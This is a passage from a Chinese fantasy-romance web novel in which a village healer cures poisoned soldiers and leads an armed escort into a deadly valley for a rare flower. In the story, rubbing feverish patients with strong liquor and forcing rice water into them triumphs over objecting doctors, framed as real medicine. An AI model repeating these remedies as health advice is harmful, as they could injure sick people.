陆向东的声音沉了几分,“那地方终年弥漫着不散的黑雾。” “那就没错了。” “瘴苔蛊本身,只会让人高烧不退,皮肤上长出硬斑,但绝不至于让人癫狂发疯,更不会致命。” “但如果,它和黑雾里另一种东西混在一起,那就是另一回事了。” 陆向东好奇:“什么东西?” “腐尸花。” 姜芷吐出三个字。 “它的花粉无色无味,专攻人的神志,所以他们会癫狂。” “瘴苔蛊的孢子侵蚀血肉,所以他们皮肤硬化如苔。” “两者合一,才是绝杀。你们的专家只看到苔,却闻不到花,药自然用反了,治标不治本。” 陆向东心头巨震。 困扰了整个军区医疗专家组的难题,在她口中,竟被如此轻描淡写地剖析得一清二楚。 他甚至没去思考她是怎么知道的。 他只知道,她说的一定是对的。 “需要我做什么?” 陆向东立刻问道。 “准备一百斤烈酒,越高越好。再准备五十斤糯米,淘洗干净,只要淘米水,同样要浓。” 陆向东没有半分迟疑,转身就准备下令。 两人一前一后走出隔离小楼。 门外,以陈建军为首的一众医生护士早已等得焦灼,见他们出来,立刻围了上来。 “陆团长!” 陈建军推了推眼镜,目光越过陆向东,带着审视落在姜芷身上,“怎么样,这位……同志,可有诊断结果了?” 周围的医生们也都投来质疑的目光。 姜芷没有说话,陆向东对警卫员下令。 “张虎,传我的命令。” “准备一百斤烈酒,能找到多烈的就要多烈的。” “再准备五十斤糯米,淘洗干净,只要头道淘米水,越浓越好。” 话音落下,所有人都懵了。 烈酒? 淘米水? 这是在治病,还是在办流水席? “胡闹!” 陈建军终于忍不住,当场出声呵斥。 “简直是胡闹!伤员高烧不退,皮肤溃烂,你居然要用烈酒去刺激?还用什么淘米水?这是什么封建糟粕?” “我绝不同意!陆团长,你不能由着她乱来!” 他身后的一众军医也纷纷附和。 “陈主任说得对!这完全违背了医学常识!” “陆团长,不能由着她乱来!出了事,这个责任谁也担不起!” 陆向东的脸,冷得像冰。 对着警卫员张虎,再次出声。 “还不快去办!” 张虎一个激灵,大吼一声“是!”,转身就跑。 陈建军等人彻底傻眼了,他们没想到,陆向东竟然会无条件地相信一个黄毛丫头的荒唐指令。 姜芷瞥了这群人一眼,淡淡开口。 “你们的科学,是让他们在病床上活活烂死。我的糟粕,是给他们一个活下来的机会。” “你....” 陈建军气得吹胡子瞪眼,半天反驳不出来。 陆向东为了缓解气氛,继续追问:“光靠这些,就行了吗?” “当然不够。”姜芷摇头。 “烈酒和淘米水,只是拔除他们体表的毒,暂时稳住神志,续上一口气。” “真正要命的,是已经深入他们体内的‘蛊根’。” “想要拔掉它……” 陆向东呼吸猛地紧张起来。 “要怎么办?” “必须以毒攻毒!” “我要亲自进黑雾谷,找一朵腐尸花回来!” “不行!” 这一次不等陈建军等人反驳,陆向东第一个出声阻止。 “黑雾谷太危险了,你需要什么,我派人去。” 姜芷平静地看着他。 “你的人会用枪,会格斗。但他们分得清一百种毒草和一百种药草的区别吗?” “他们知道被竹叶青咬了之后,三步之内必有解药吗?” “他们能分辨哪片雾气是水汽,哪片雾气是能要人命的瘴气吗?” 一连串的追问,让陆向东哑口无言。 是啊,他手下的兵,是顶尖的战士,却不是神农。 派他们进去,和送死没两样。 “小同志,黑雾谷……真的不是开玩笑的。” 就连不喜欢姜芷的陈建军,都是放下间隙,忍不住劝说。 “那里是活人禁区,部队拉练,也只敢在外围转转。” “是啊,以前有巡逻队误入深处,就再也没出来过!” 众人七嘴八舌,都在描述黑雾谷的可怕。 这时,警卫员张虎带着人,吭哧吭哧抬来了几个大木桶。 “团长!烈酒和淘米水,都弄来了!” “烈酒浸湿毛巾,擦拭全身,长苔藓处要用力。” “淘米水,想办法灌下去,漱口也行。” 姜芷这话一出,医疗队又炸了。 “什么?” “真用烈酒擦身?病人高烧,皮肤脆弱,会烧坏的!” “还要灌淘米水?万一呛进肺里,就是吸入性肺炎!” 陈建军再次暴跳起来,这比他听过的所有土方子还要离谱。 “陆团长!三思!这绝对不行!” 陆向东脸若冰霜,目光扫过张虎。 “没听见姜医生的话吗?” “执行命令!” 张虎一个激灵,腰杆挺得笔直,吼声震天:“是!” 他立刻带着战士们,冲进了隔离小楼。 “唉!你们!” 陈建军等人被拦在外面,急得团团转,却又无可奈何。 时间一分一秒过去。 隔离小楼里那令人心悸的野兽嘶吼声,渐渐小了。 疯狂撞击床板的声音,也慢慢平息。 最后,一切都安静了下来。 陈建军的心沉到了谷底。 完了,出事了! 十七条人命,就这么被一个黄毛丫头的土方子给折腾没了! 他正要冲进去,隔离小楼的门,开了。 张虎一脸狂喜地跑出来,话都说不利索。 “团……团长!神了!真的神了!” “兄弟们……他们……他们都安静下来了!不发疯!也不吼了!” 什么?! 在场所有的医生护士都是一惊。 陈建军推开张虎,冲到门口朝里望去。 病房里,十七个战士,虽然面色灰败,但全都安静地躺着,呼吸微弱却平稳。 令人作呕的腥臭味,也被浓郁的酒气冲淡了不少。 这……这怎么可能? 全世界最先进的抗生素和激素都压制不住的狂躁,被烈酒和淘米水治好了? 陈建军感觉自己几十年建立的医学观,在这一刻,轰然崩塌。 他缓缓转过身,看着神色自若的姜芷。 半天,才从牙缝里挤出几个字。 “这……是怎么做到的?” “烈酒至阳,能驱散他们体表的阴寒毒气。淘米水性温,能中和他们体内的腐尸花粉,安抚神志。” “这不叫治病,这叫续命。” 简单几句话,让所有医生耳目一新,开了眼界。 他们现在才明白,自己和人家,根本不在一个层级上。 姜芷没理会众人的震惊,再次重申。 “这只是暂时吊住了他们的命,想要根除,我必须进山。” 这一次,再无人敢反驳。 陈建军等人面面相觑,最终,羞愧地低下了头。 “如果你一定要去,”陆向东声音沙哑,“我陪你去。” “团长!不行啊!”张虎急了。 陈建军也反应过来:“是啊陆团长,你的身体也才刚好。” 话音未落,一阵刺耳的刹车声响起。 一辆挂着军区牌照的吉普车,一个凶悍甩尾,稳稳停在众人面前! 车门推开,一个身形威严的中年军官,大步流星地走了下来。 正是西南军区司令员,秦振国。 “首长!” 在场所有军人,齐刷刷敬礼。 秦振国摆摆手,目光直接锁定人群中的姜芷。 他快步上前,满脸歉意和感激。 “姜芷同志!上次一别,我还没有好好感谢你!让你不远千里跑来,辛苦了!” 姜芷微微点头,不卑不亢:“情况紧急,客套话就不必了。” 秦振国更加欣赏,随后转向陆向东,脸色一沉:“情况怎么样了?” 陆向东立正报告:“报告首长!在姜医生的救治下,十七名战士的情况已经暂时稳定!” “哦?”秦振国惊讶,再次上下打量姜芷,由衷赞叹:“好!好啊!不愧是能从特务手里抢回惊蛰图的小神医!” 第41章 我的药,比你的枪好用 秦振国的命令落下。 “嘟——!!” 尖锐的紧急集合哨声打破营区的宁静。 无数穿着军装的身影从各个营房里冲出。 整齐划一的脚步声汇成一道洪流,大地都在微微颤动。 武器库大门敞开,战士们冲进去,再出来时,肩上全都扛上黑洞洞的枪支,腰间挂满手榴弹。 “一连一排,这边集合!” “机枪组!弹药跟上!” “火箭筒手!快!” 陈建军和一众医疗队成员,呆立在原地,全都看傻了。 他们也是军人,见过演习,见过拉练。 可从没见过,为了护送一个乡下丫头进山采药,直接拉出来一个火力加强连? 轻重机枪都架起来了! 甚至还有火箭筒! 这他娘的是要去攻打哪个山头的土匪窝吧! 五分钟。 分秒不差。 一个全副武装,杀气腾腾的加强连,已经在空地前集合完毕。 陆向东一身戎装,站在队伍最前方,身姿笔挺。 “同志们!” “稍息!” “这次任务,前往死亡禁区‘黑雾谷’,护送我们的医疗专家——姜芷同志,采集拯救十七名战友生命的关键药材!” “记住,要用我们的命,保证她的绝对安全!” “都听明白了没有!” “明白!!” 上百名铁血战士的吼声,汇成一股声浪,直冲云霄。 陆向东点头,转身大步走到姜芷面前。 他将自己腰间的配枪解了下来,递到姜芷眼前。 “这个你拿着,防身。” 姜芷没接那把枪。 她轻轻拍了拍自己斜挎着的木头药箱。 “不用。” “我的武器在这里。” “它比枪好用。” 陆向东的动作顿住,随即默默收回枪,重新别在腰间。 他信她。 “上车前,先吃点东西。” 陆向东让警卫员张虎把准备好的军用罐头和干粮拿了过来。 张虎提着一个大网兜跑过来,笨手笨脚地拧开一个牛肉罐头递过去。 “姜医生,黑雾谷里情况不明,您多吃点,补充体力!” 姜芷接了过来,小口吃着。 不远处,陈建军的脸色变了又变,最终还是硬着头皮走了过来。 “那个……姜,姜同志。” 他实在是叫不出“医生”两个字。 “黑雾谷里瘴气很重,我们准备了一些防毒面具和防护服……” “不必。”姜芷咽下嘴里的食物,直接打断了他。 “那东西防得了毒气,防不了毒物。戴着它,碍事。” 她说着,从药箱里拿出两个小瓷瓶,倒出一把黑乎乎的药丸,递给陆向东。 “让战士们分下去,一人一粒,含在舌下,能保两个小时内,不受毒气影响。” 陈建军的眼角抽搐了一下。 他感觉自己的医学常识正在被人按在地上反复摩擦。 自己这边又是防护服又是防毒面具,搞得跟生化危机似的。 结果人家几颗黑不溜秋的药丸子就解决了? 陆向东没有半分怀疑,接过药丸,立刻让张虎分发下去。 战士们令行禁止,拿到药丸,二话不说就含进嘴里。 一股清凉又辛辣的气味,在口腔中弥漫开来,让人精神抖擞。 姜芷这才瞥了眼满脸不信的陈建军,淡淡开口。 “这是‘百草辟瘴丸’,用七种至阳草为主,辅以三十六味解毒药材炼制。含于舌下,药力随津液入脉,能护心脉,避百瘴。” “你们的防毒面具,防得了口鼻,防不了谷中无孔不入,侵蚀皮肉的阴毒湿气。” 陈建军的脸色,彻底沉了下去,一句话也说不出来。 “都准备好了?” 秦振国不知道什么时候走了过来,神色严肃。 “报告首长!一切准备就绪!” 陆向东立正敬礼。 秦振国点点头,目光转向姜芷,语气郑重。 “姜芷同志,一切,就拜托你了。” “职责所在。” 姜芷平静回应。 “出发!” 陆向东一声令下,拉开车门,安排姜芷坐在中间最安全的位置,他坐副驾,张虎开车。 一排绿色军用卡车,引擎轰鸣,绝尘而去。 车上,姜芷在后座闭目养神。 陆向东的视线,不受控制地胶着在后视镜里那张平静的侧脸上。 她好像一点都不紧张。 仿佛不是闯什么龙潭虎穴,只是去后山采一味寻常的草药。 随着车队行进,周遭的景色愈发荒凉。 最终,黑雾谷的轮廓,出现在地平线上。 那是一片死寂的山脉,山峰刺向天空,终年被一层浓黑雾笼罩着,连飞鸟都绕道而行。 “前面就是黑雾谷的外围了。” 陆向东的声音,将姜芷从假寐中唤醒。 她睁开眼,看向前方。 一道天然的峡谷裂口,像大地张开的巨嘴,黑洞洞的,不断有丝丝缕缕的黑雾从中飘散出来,带着不祥的气息。 车队在裂口前一百米处停下。 “全员下车!检查装备!五分钟后,徒步进入!” 陆向东跳下车,下达命令。 战士们纷纷下车,拉动枪栓的声音此起彼伏,气氛瞬间变得紧张起来。 姜芷也下了车。 她站在谷口,深深吸了一口气。 风里,除了泥土和草木的腥味,还混杂着一股若有似无的甜腻腐烂气息。 就是它,腐尸花。 来对地方了。 “前进!” 陆向东一声令下,声音被峡谷口的黑雾吞噬,连个回音都没有。 上百名荷枪实弹的战士,警惕着走进黑雾谷。 踏入的瞬间,天光骤失。 谷外是烈日当空,谷内却已经沉沉暮色。 一股阴冷到骨子里的潮气,带着泥土与植物腐败的腥臭,灌入肺里,让人胸口发闷。 “都打起精神来!注意脚下!” 陆向东压低声音提醒。 战士们握紧了手里的枪,警惕四周。 黑色的雾气像是有生命,在他们身边缭绕,三米之外看不清人影。 脚下是厚厚腐殖质,踩上去软绵绵,一不留神就会陷进去。 警卫员张虎紧跟在陆向东和姜芷身后,脑门上全是冷汗。 他感觉自己不是走在山谷里,而是走进了某个巨兽的喉咙。 “姜……姜医生,” 张虎的声音有点抖,“您那药丸子真管用吗?我怎么觉得这雾气往我骨头缝里钻?” 姜芷目不斜视,脚步稳健,淡淡开口。 “你那是心理作用。” “这黑雾谷常年不见日光,阴气重,有点冷很正常。你兜里揣两颗大蒜,想害怕的时候就闻闻,壮胆。” 张虎:“……” 他堂堂猛虎团的战士,居然要靠闻大蒜壮胆? 这话要是传出去,他还要不要在部队混了! “咳!”陆向东在前面干咳一声,瞪了张虎一眼,“闭嘴,跟紧了。” 张虎立马闭上嘴,不敢再多话。 队伍继续向前推进,气氛压抑得可怕。 除了悉悉索索的脚步声,就只剩下众人沉重的呼吸声。 “停!” 走在最前面的姜芷,忽然抬手,整个队伍瞬间定在原地。 所有人的心都提到了嗓子眼。 “怎么了?”陆向东立刻上前一步,将姜芷护在身后。 姜芷的目光,落在左前方一丛红色小果子上。 那果子晶莹剔透,长在一人高的灌木上,看起来像极了某种野山莓,十分诱人。 一个年轻的战士离那丛果子最近,喉结上下滚动,显然是渴了。 “这果子,叫‘笑面鬼’。” 姜芷连忙解释。 “看起来无毒无害,甚至有点甜。吃下一颗,三个小时内,不会感觉到异样。” “三个小时后,它会从你的胃里开始,溶解你所有的内脏。” “你会亲眼看着自己的肚子一点点瘪下去,并且不会感到任何疼痛,反而会一直笑。” “直到你全身的血肉都化成一滩脓水,从七窍流出来,你的脸上,还会挂着笑。” 嘶——! 一阵倒吸凉气的声音。 那个离果子最近的小战士,脸“唰”地一下白了,连后退了好几步。 就连陆向东,后背都起了一层白毛汗。 他打过仗,见过各种惨烈的死法,但从没听过这么邪门诡异的。 张虎更是吓得腿都软了,哆哆嗦嗦地问。 第42章 赤脚行于虫海 雾气翻涌,一个巨大的黑色轮廓,若隐若现。 “别开枪!” 姜芷突然开口。 “那不是活物。” 她一边说,一边从自己的药箱里,拿出一个小小的竹筒,拔掉塞子。 一股辛辣刺鼻的气味,瞬间扩散开来。 神奇的一幕发生了。 随着这股气味的扩散,前方浓雾中的“沙沙”声,居然像是遇到了克星,迅速远去,很快就消失不见。 那个巨大的黑色轮廓,也随着消散。 张虎看呆了,结结巴巴地问。 “姜医生,刚……刚刚那是什么玩意儿?” “黑鳞藤。” 姜芷将竹筒收好,解释道。 “一种食肉植物,靠发出类似蛇行的声音来吸引猎物。” “它的藤蔓上布满倒刺,一旦被缠住,就会被吸干血液。你们刚刚听到的,是上百株黑鳞藤一起发出的声音。” 上百株…… 所有人感觉后脖颈子都在冒凉气。 他们刚刚,差点就成了植物的盘中餐? “那你这竹筒里是……” 陆向东也好奇。 “雄黄,加上我的独门配方。” 姜芷言简意赅。 陆向东没再追问。 他只知道,这个他放在心尖上的姑娘,浑身上下都是宝。 陆向东现在越发觉得,秦司令派一个加强连护送,一点都不夸张。 这姑娘的重要性,比一个加强连强多了! 队伍继续前进,越往深处,雾气越浓,里面的植物也越发诡异。 他们甚至看到了一些会发光,像灯笼一样的蘑菇。 姜芷说,那叫“引魂菇”,它的孢子会让人产生幻觉,看到自己最思念的亲人,然后一步步走进沼泽深处。 一路上,全靠姜芷这个“行走的百科全书”不断预警,这支队伍,才得以有惊无险地深入他们以前从未到达过的区域。 大约走了一个多小时,前方的雾气,突然淡了一些。 一片空地,出现在众人眼前。 只是,空地上的一切,让所有人都停下了脚步,瞳孔收缩。 那片空地上,没有草,没有树。 只有花。 铺天盖地,开满了血红色的花。 那些花开得极为妖艳,花瓣层层叠叠,像是一张张咧开的嘴,空气中那股甜腻腐烂气息,也浓烈到了极点。 “腐尸花……” 姜芷喃喃自语。 “找到了!” 陆向东精神一振,刚要下令让战士上前采摘。 “别动!” 姜芷伸手制止。 战士们都是一脸不解,目标就在眼前,为啥不让动? 姜芷继续说。 “陆向东,让你的人把枪放下。” “什么?” 别说陆向东,就连警卫员张虎都觉得这话太离谱了。 这鬼地方,不让带枪,那不是把脖子伸出去给人家砍吗? “放下枪!” 陆向东没有丝毫犹豫,下达了命令。 虽然他不明白为什么,但他知道,听姜芷的,准没错。 哗啦啦。 上百名战士,虽然满心疑惑,但还是执行了命令,将枪口朝下,背在了身后。 “再让他们,脱掉鞋。” 姜芷又抛出一个更让人匪夷所思的命令。 这下,连陆向东的眉头都拧了起来。 “姜医生……”张虎壮着胆子问,“这……这是干啥呀?咱们又不是去游泳,脱鞋干嘛?” “你们想死,就穿着。” “不想死的,就光着脚。” 她说完,自己率先弯腰,开始解自己的布鞋鞋带,三两下就把鞋和袜子都脱了,露出一双秀气白皙的脚。 踩在阴冷的腐殖土上,她连眉头都没皱一下。 陆向东看了她一眼,也弯下腰,利落地脱掉了自己的军靴。 “全体都有!脱鞋!” 战士们面面相觑,但军令如山,也只能纷纷照做。 一时间,这支杀气腾腾的队伍,画风突变。 一群荷枪实弹的壮汉,光着脚丫子站在泥地里,你看看我,我看看你,都跟见了鬼似的。 “姜医生,这下总行了吧?” 张虎小声嘀咕,感觉脚底板凉飕飕的。 “还不行。” 姜芷摇头,从药箱里拿出一只瓷瓶,倒了一些灰白色的粉末在手心。 “所有人都过来,把这个,均匀地涂在脚底和脚踝上。” 众人:“……” 这进山采个药,仪式感是不是太强了点? 又是脱鞋又是抹粉的,搞得跟要去跳大神一样。 但没人敢再质疑,一个个排着队,老老实实地过来,在姜芷手里领了粉末,仔仔细细地涂在脚上。 陆向东是最后一个。 他蹲下来,姜芷的手心就悬在他眼前。 他的手掌很大,接过粉末时,指尖不经意地碰到了她的掌心。 很凉。 也很软。 陆向东的动作顿了一下,心跳漏了一拍。 姜芷也察觉到了,不动声色地收回手,好像什么都没发生。 “好了,现在看好了。” 姜芷涂好粉末,直起身,目光重新投向那片妖艳的花海。 “你们以为,这花海里,只有花吗?” 她弯腰,从地上捡起一块拳头大的石头,抹了把汗在上面,然后用力朝着花海的边缘扔了过去! 石头划过一道抛物线,“噗通”一声,砸进了花丛里。 下一秒。 那片被石头砸中的地方,原本平整的地面,突然像是活了过来! 无数指甲盖大小,通体漆黑,长着一对狰狞口器的甲虫,从泥土里疯狂地涌了出来! 它们密密麻麻,层层叠叠,只一瞬间,就将那块石头啃噬得干干净净,连点渣都没剩下! 嘶—— 倒吸凉气的声音,此起彼伏! 所有战士的脸都白了,后背的寒毛根根倒竖! 他们现在才明白,那片看似美丽的红色花海,脚下踩着的根本不是泥土! 而是一层伪装起来,吃人的虫子! 张虎的腿肚子都在打哆嗦,牙齿上下打颤。 “我……我的娘嘞……这……这是啥玩意儿?” “尸蟞。” 姜芷解释。 “也叫金刚蛊。” “它们靠腐尸花的香气为生,任何带有活物气息的东西靠近,都会被它们啃得骨头都不剩。” “你们穿着鞋,脚上的汗味和人味,对它们来说,就是黑夜里的灯塔。” “你们刚才要是直接走过去……” 姜芷没有再说下去,但所有人都脑补出了那个画面。 上百个人,瞬间被黑色的虫海淹没,连惨叫都来不及发出一声,就变成了一堆白骨。 一想到这里,所有人看向姜芷的眼神,都变了。 这个看起来弱不禁风的姑娘,又一次,救了他们所有人的命! “那……那现在怎么办?”张虎都快哭了,“这玩意儿铺天盖地的,咱们怎么过去拿花啊?” 姜芷没说话,而是从药箱里,又拿出了几个油纸包。 她将纸包里的各种粉末,按照特定的比例,混合在一个小碗里,然后加入清水,搅拌成一种墨绿色的粘稠液体,散发着一股极其古怪的刺鼻气味。 “我要过去采花。” 姜芷端着小碗,对陆向东说。 “不行!” 陆向东想也不想就拒绝了。 “太危险了!我去!” “你去?”姜芷瞥了他一眼,“你知道哪一朵是花王吗?你知道采摘的手法吗?你知道怎么避开花蕊里的毒腺吗?” 一连串的问题,把陆向东问得哑口无言。 “可……” “没有可是。”姜芷打断他,“你们的任务,是保护我。现在,保护好你们自己,就是对我最大的保护。” 她说完,不再理会陆向东,用手指蘸着那墨绿色的液体,涂满自己光着的脚底。 然后,她端着碗,一步一步,走向那片恐怖的虫海。 “姜芷!” 陆向东的心,一下子提到了嗓子眼。 所有战士,也都屏住了呼吸,眼睛瞪得像铜铃。 神奇的一幕,再次上演。 姜芷的脚,踏上了那片“黑色地毯”。 那些凶残暴戾的尸蟞,像是遇到了天敌,疯狂地向两边退去! 它们在她脚下,自动让出了一条窄窄的,可供一人通过的小路! 姜芷就这么闲庭信步般,踩着这条由虫子让出来的路,一步步走向花海的中心。 整个山谷,鸦雀无声。 只剩下那道纤细的身影,和她脚下那条涌动着,却不敢越雷池一步的黑色虫潮。 所有人的世界观,再一次被按在地上摩擦。 这哪里是医术? 第43章 血饲蛊王,死亡倒计时! 那是一头熊。 一头通体乌黑,身形轮廓已然扭曲的巨熊。 鬃毛根根倒竖,硬如钢针。 一双熊眼并非野兽的浑浊,而是一片血红。 最渗人的是它的嘴。 涎水顺着獠牙滴落,掉在腐叶上,竟“嗤嗤”冒起白烟,散发出强酸般的恶臭。 “我的亲娘姥姥……” 警卫员张虎的魂都吓飞了。 这他娘的是黑雾谷,还是阎王殿啊? “陆……陆团长……这玩意儿,火箭筒能干穿不?” 一个战士紧张地询问。 陆向东的下颌线绷得死紧,枪托几乎要被他捏碎。 那头熊的目标不是他们,而是姜芷手里那朵腐尸花王。 “吼——!!!” 黑熊咆哮,声浪滚滚。 “轰隆隆!” 它像一辆失控的坦克,朝着姜芷直直冲锋。 挡路的灌木、石头,全都被撞碎。 更恐怖的是,它的巨掌每次落下,都将成百上千的尸蟞踩成黑色肉泥浆水。 “吱吱吱——!” 被激怒的尸蟞群彻底癫狂! 黑色虫潮一分为二,一部分扑向姜芷,另一部分,调转方向,不顾死活地反扑向那头巨大的黑毛熊! 虫潮瞬间淹没了黑熊小腿,疯狂啃噬。 可那畜生皮糙肉厚,对这些能啃噬血肉的虫子毫不在意! 它只是不耐烦地跺了跺脚,震飞一片尸蟞,血红的眼睛里,目标依旧只有姜芷! “团长,开火吧!!” 有战士终于扛不住这股压力,手指扣上了扳机。 “不准开枪!!” 陆向东和姜芷的声音,同时响起。 下一秒,陆向东把枪往背后一甩,朝着姜芷的方向狂奔而去! “团长!” 张虎眼珠子都快瞪出来了! 那是熊和虫子的双重夹击! 团长这是不要命了吗! 陆向东不管不顾。 他必须过去! 哪怕死,也要死在她前面! “陆向东,站住!” 姜芷厉声喝止。 “你的脚没涂药,过来就是送死!” “相信我。” 这三个字,像定身咒,将陆向东狂奔的身形硬生生钉在原地。 姜芷不再看他。 她左手托着那朵妖艳的腐尸花王,右手银光一闪,小刀在花蕊中心划开一道口子。 随即,她从药箱里捏出一个油纸包,看也不看,将里面带着强烈刺激性气味的墨绿色粉末,尽数倒进了花蕊的切口! 做完这一切,黑熊距离她,已经不足十米! 腥臭的狂风,吹乱了她的头发! 陆向东甚至能看清黑熊獠牙上反射的寒光! “姜芷!!” 他的心都快跳到嗓子眼了。 就在这时,姜芷手腕一抖,那被她“加了料”的花蕊,脱离花茎,投向黑毛熊的血盆大口! 正中! “嗷——呜——!!!” 黑熊的咆哮,瞬间变成了撕心裂肺的惨嚎! 它庞大的身躯猛地刹住,两只前掌疯狂地撕挠自己的脸和嘴,要将自己的脑袋生生抓烂!。 腐尸花王本身对它是大补物。 可混合了姜芷“独门秘方”的粉末后,就变成了恐怖的神经毒素和强效兴奋剂! 同时,它的嗅觉和味觉,在这一瞬间被放大千百倍! “轰!” 黑毛熊在原地疯狂翻滚,抽搐,庞大的身躯将地面砸出一个又一个大坑,无数尸蟞被碾成齑粉。 最后,它发出一声悲鸣,重重倒了下去,昏死过去。 而那些狂躁的尸蟞,在短暂的停滞后,顺势而上。 它们的目标,不再是姜芷,而是一窝蜂地爬上,那头倒在地上一动不动的黑毛熊! “吱吱嘎嘎”的啃噬声,让人头皮发麻。 “它们在吃那头熊!” 张虎看得胃里一阵翻江倒海。 陆向东也皱起了眉头,这画面,实在太过惊悚。 他快步上前,一把将姜芷拉到自己身后。 然而,姜芷的关注点却完全不同。 她死死盯着那片黑色的虫潮,鼻翼微动,脸色“唰”地一下,变得比刚才面对黑熊时还要难看。 一股混合着血腥与酸腐的气味,钻入她的鼻腔。 “不对!” “快跑!” 她一把抓住陆向东的手臂,将他往后拽。 “跑!所有人!立刻撤出山谷!快!” 姜芷的声音从未如此急切。 然而,上百名战士没有动,他们的目光如出一辙,齐刷刷看向陆向东。 “怎么了?” 陆向东一把将她拽进怀里护住,高大的身躯成了她的壁垒,视线紧紧锁着后方。 “那头熊有古怪!” “它之前中过毒,血里有剧毒!现在,毒血和那些尸蟞的体液混合,正在催生新的毒气!比这里的黑雾厉害百倍!” 她的话音刚落。 “滋啦——!” 一声令人牙酸的腐蚀声,从后方黑熊的尸体上传来。 一股肉眼可见的,黄绿色的浓雾,从尸体和虫潮的交界处,冲天而起! 那黄绿色的雾气带着令人作呕的酸臭,所过之处,无论是坚硬的岩石还是百年的古树,都冒起阵阵白烟,以惊人的速度枯萎消融! “我滴个亲娘!”张虎回头看了一眼,魂都快吓飞了,“这他娘的是王水成精了吧!” 这哪里是毒气! 这分明就是一道移动的强酸墙壁! “全体都有!撤退!” 陆向东的爆喝声响起,战士们这才如梦初醒,瞬间转身,手上的鞋子也顾不得穿,拼了命地往谷外跑。 “喷火兵准备!” 陆向东眼看毒雾逼近,厉声吼道:“烧出一条隔离带!快!” “你疯了!” 姜芷猛地回头,厉声喝止。 “这里是原始森林,一旦点燃,你想把整座山都点了,我们一起埋在这里吗?!” 陆向东的动作僵住。 就在这一瞬间的迟滞,眼看那道毒雾就要追上来。 “轰隆!” 一声巨响! 众人脚下的大地,猛地一颤! 原来是刚才黑毛熊发狂时,将地面砸出了无数裂纹,此刻根本承受不住上百人的奔跑踩踏。 地面裂开了一道口子! “小心!” 陆向东和姜芷脚下的地面开始塌陷。 在身体失重的刹那,陆向东的本能压倒了一切思考。 他猛地一个转身,将身边姜芷死死地搂进怀里,用自己的后背,去迎接未知的撞击! 他要她活。 “团长!” “姜医生!” 张虎的吼声,被塌方的轰鸣和迅速蔓延的毒雾彻底吞没。 …… 天旋地转。 下坠感夺走了所有声音。 “砰!” 一声沉闷的落地声。 陆向东的后背重重砸在岩石上。 剧痛贯穿全身,他闷哼了一声,眼前发黑。 但他顾不上自己,怀里的人,才是他的一切。 “姜芷?你……你没事吧?” 他的声音嘶哑得厉害。 姜芷在他怀里沉默了片刻。 那结实的胸膛,隔绝了所有的危险,也压下了她所有的惊惧。 “我没事。” 她轻轻推了推他,从他怀里挣脱出来,借着从裂缝顶端透下来的一丝微光,打量着四周。 一个巨大的地下溶洞。 空气里弥漫着潮湿的泥土气息和一种苔藓的味道,远处传来滴答的水声。 “你别动。” 姜芷看了一眼陆向东。 陆向东这才感觉到,自己的左腿传来一阵钻心的疼。 刚刚为了护住她,落地时腿撞在了一块凸起的岩石上。 他低头一看,军裤已经被划开一道大口子,鲜血正汩汩地往外冒。 “皮肉伤,不碍事。” 他咬着牙,像头倔驴。 姜芷没理他,直接蹲下身,从自己的衣摆上,“刺啦”一声,撕下一条布料。 第44章 陆团长,我看你是想耍流氓 姜芷没有理会陆向东的感叹,她的目光早已被这个巨大的地下洞窟牢牢吸住。 空气阴冷潮湿,是各种菌类与阴生植物的天堂。 在别人眼中是绝地,在她看来,像是一座未经发掘的宝库。 “你坐下,别乱动。” 姜芷指向河边一块平整的岩石。 陆向东的腿伤才刚处理,经不起折腾。 “我没事,这点小……” 陆向东逞强的话还没说完,左腿伤处传来一阵尖锐剧痛,让他脸色一白,额角瞬间渗出冷汗。 “怎么了?” 姜芷骤然回头。 “没事……”陆向东牙关紧咬,嘴比铁硬,“可能是刚才走急了,扯着伤口了。” 姜芷根本不信。 她快步走到他身边,半蹲下身,一把掀开他包扎好的裤腿。 只一眼,她清冷的眸子就沉了下去。 那道被岩石划开的伤口,周围的皮肤竟浮现出一片诡异的青黑色,正向四周蔓延。 “这是怎么回事?”陆向东自己也看到了,心里咯噔一下。 他走南闯北,受过的伤比吃的盐还多,可从没见过伤口会变成这个鬼样子。 姜芷伸出两根白皙的手指,在他伤口旁的穴位上重重一按。 “嘶——!” 陆向东倒吸一口凉气,那感觉,又麻又痒又疼。 “有感觉?”姜芷的声音很冷。 “嗯。”陆向东咬着牙点头。 “恭喜你,陆团长。”姜芷站起身,垂眸看他,“你又中毒了。” 陆向东:“……” 他严重怀疑自己上辈子刨了毒物的祖坟。 这辈子才会这么招毒。 先是寒毒,现在又来个不知名的。 “这回是什么毒?严重吗?”他反倒冷静了下来,紧紧盯着姜芷。 “撞伤你的那块石头有问题。”姜芷蹙眉解释,“那不是普通的岩石,是一种叫‘乌金石’的矿物,本身就有微毒。再加上这洞里阴寒湿气侵体,毒素在你体内已经开始扩散了。再过两个小时,你这条腿就会彻底麻痹坏死,然后毒气攻心,神仙难救。” 陆向东眼皮狠狠一跳。 两个小时。 阎王爷的请帖已经送到门口了。 “那……有得治吗?” 姜芷没回答,目光越过他,投向那条幽深的地下暗河。 河对岸靠近岩壁的水下,生长着一丛丛形态奇特的水草。 叶片呈半透明的冰蓝色,在发光蘑菇的映照下,闪烁着点点寒光。 “有。” “看到河对岸那些蓝色水草了吗?” 陆向东顺着她的指引看过去,点了点头。 “那是‘玄冰草’,至阴至寒,刚好能克制乌金石的火毒。” 陆向东的心沉了下去。 他看了一眼自己的废腿,又看了看姜芷纤细的肩膀,眉头拧成了死结。 “我去。”他撑着岩壁就要站起。 “你疯了?”姜芷一掌按在他的肩膀,让他无法动弹,“瘸子,下水就是送死!” “那我不能让你去!”陆向东的牛脾气也上来了,瞪着眼,“我陆向东还没窝囊到让一个女人去拼命的地步!” 他是军人,保护女人是他的天职! 让他眼睁睁看着姜芷为他冒险,比直接给他一枪还让他难受! “这是命令。” “你现在是我的病人,就得听我的。” 她晃了晃手里不知何时多出的一根银针,针尖在幽光下闪着寒芒。 “再废话,我现在就让你睡过去。” 陆向东:“……” 憋了半天,他最终还是泄了气,颓然靠在岩壁上,声音沙哑。 “那你……小心点。” “嗯。” 姜芷转身,从药箱里拿出药绳,一头系在巨大的钟乳石上,另一头绑在自己腰间。 “河里可能有东西,水也冷,你别睡,帮我看着。” 临下水前,她回头嘱咐。 陆向东的心一下子揪紧了。 “姜芷,一定要注意安全。” 她没有回头,只是淡淡回了一句。 “放心,我还等着你把欠我的诊金,连本带利还回来。” 说完,她没有再犹豫,深吸一口气,一步步走进冰冷的河水。 “噗通。” 